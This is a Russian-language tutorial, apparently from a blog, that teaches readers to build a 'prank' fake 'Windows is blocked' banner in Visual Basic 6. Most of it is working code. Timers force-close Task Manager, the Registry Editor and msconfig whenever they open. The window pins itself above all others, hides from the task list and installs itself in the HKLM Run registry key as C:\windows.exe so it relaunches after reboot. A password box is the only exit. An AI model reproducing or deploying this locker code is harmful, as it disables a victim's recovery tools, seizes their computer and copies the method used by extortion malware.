Всем привет, здесь я Вам расскажу, как можно разыграть своего друга, коллегу по работе или родственников. Всем известно, что сейчас стало очень распространенным ловить всякие баннеры, вирусы в Интернете, которые просят отправить смс или положить деньги на телефон, так вот я решил написать свою собственную такую программу (разумеется, только для розыгрыша), а кого интересует способ, как избавиться от настоящего такого баннера или вируса, то на сайте есть статья «Windows заблокирован отправьте смс».
На самом деле я точно не знаю, как и кто пишет эти программы, я попытался написать ее в среде программирования Microsoft Visual Basic v 6.0. Если Вы вообще еще не знакомы с этой средой программирования, то лучше сначала узнайте основы работы с этой средой программирования. Программа, которую мы напишем не такая жесткая (как баннеры в Интернете), но разыграть получится.
Ну, давайте начнем, для начала подберите себе картинку, которая будет служить фоном (подберите размер) и в окне свойств формы вставьте картинку. Затем добавьте одну кнопку и одно текстовое поле на форму, можно добавить еще один label.
Переименуйте названия объектов в окне свойств поле – caption следующим образом:
- Кнопка – Отправить;
- Label – Введите код.
А в текстовом поле уберите text, чтобы ничего не было (окно свойств поле «text»). А забыл сказать, можно еще добавить текст на картинку типа «Windows заблокирован, быстрей бегите к сисадмину, а то компьютер взорвется!».
Потом также в окне свойств формы сделайте такие настройки:
- поле StartUpPosition значение 1-centerowner;
- поле moveable значение False;
- поле ClipControls значение False;
- поле ControlBox значение тоже False;
- поле caption сотрите значение (т.е. оставьте пустым).
Таким образом, мы настроили свойства формы нашей программы.
Ну и наконец-то перейдем непосредственно к коду, здесь вариаций может быть много, зависит от Вашей фантазии, я покажу Вам какие коды и действия можно сделать.
Исходный код программы на языке Visual Basic
Ну, во-первых, это, конечно же, запретить запускать такие утилиты как: диспетчер задач, msconfig, редактор реестра и сделать так, чтобы форма запускалась поверх всех окон. Для запрета запуска утилит нужно добавить на форму 3 таймера (в окне выбора объектов), затем в свойствах каждого в поле Interval поставить значение 1 и вставить следующий код:
Private Sub Timer1_Timer() On Error GoTo errorer ' если не запущен диспетчер то будет ошибка AppActivate "Диспетчер задач Windows" ' ПЕРЕДАЕМ ФОКУС SendKeys "%{F4}" ' Посылаем Alt + F4 errorer: End Sub Private Sub Timer2_Timer() On Error GoTo errorer ' если не запущен диспетчер то будет ошибка AppActivate "Редактор реестра" ' ПЕРЕДАЕМ ФОКУС SendKeys "%{F4}" ' Посылаем Alt + F4 errorer: End Sub Private Sub Timer3_Timer() On Error GoTo errorer ' если не запущен диспетчер то будет ошибка AppActivate "Конфигурация системы" ' ПЕРЕДАЕМ ФОКУС SendKeys "%{F4}" ' Посылаем Alt + F4 errorer: End Sub
А для запуска поверх всех окон вставьте следующий код:
Option Explicit Private Declare Sub SetWindowPos Lib "User32" (ByVal hWnd As Long, _ ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, _ ByVal cy As Long, ByVal wFlags As Long) Const HWND_TOPMOST = -1 Const SWP_NOSIZE = &H1 Const SWP_NOMOVE = &H2 Private Sub Form_Load() SetWindowPos hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE + SWP_NOSIZE End Sub
На этом можно конечно и остановиться, но можно еще прописать в автозагрузку, вдруг он перезагрузит компьютер. Для этого мы назовем нашу программу, например Windows, и для того чтобы после перезагрузки она снова запустилась, поместим ее в корень диска C, и соответственно мы будем прописывать в реестре, что прога находится именно там. А для этого вставляем следующий код:
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, _ ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, _ ByVal cy As Long, ByVal wFlags As Long) As Long Private Const HWND_TOPMOST = -1 Private Const HWND_NOTOPMOST = -2 Private Const SWP_NOMOVE = &H2 Private Const SWP_NOSIZE = &H1 Private Const SWP_NOACTIVATE = &H10 Private Const SWP_SHOWWINDOW = &H40 Private Const FLAGS = SWP_NOMOVE Or SWP_NOSIZE Private Sub Form_Load() Call SetWindowPos(Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS) Set Reg = CreateObject("WScript.Shell") Reg.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\windows","C:\windows.exe" App.TaskVisible = False End Sub
Тот, кто разбирается, спросит, почему именно в эту ветку реестра добавляем? да потому что у нас программа-шутка, а не какой-нибудь там баннер:), такие параметры как Shell и Userinit мы трогать не будем.
Теперь как Вы помните, мы вставили на форму одну кнопку и одно текстовое поле, а для чего? А для того чтобы Вы сами без лишних проблем смогли закрыть эту программу, для этого вставляем следующее:
Private Sub Command1_Click() If Text1.Text = "ваш код" Then Set Reg = CreateObject("WScript.Shell") Reg.RegDelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\windows" If Text1.Text = "ваш код" Then End End If End Sub
Поясню, Вы вместо слов «ваш код» придумывайте какой-нибудь пароль, например 12345 и когда программа запустится, Вам нужно будет ввести в текстовое поле 12345 и нажать отправить и в этом случае программа сама закроется и даже удалится из реестра.
Вот в принципе и все что я хотел Вам показать, используйте полученные знания только для благих намерений, а не для наживы, желаю удачи!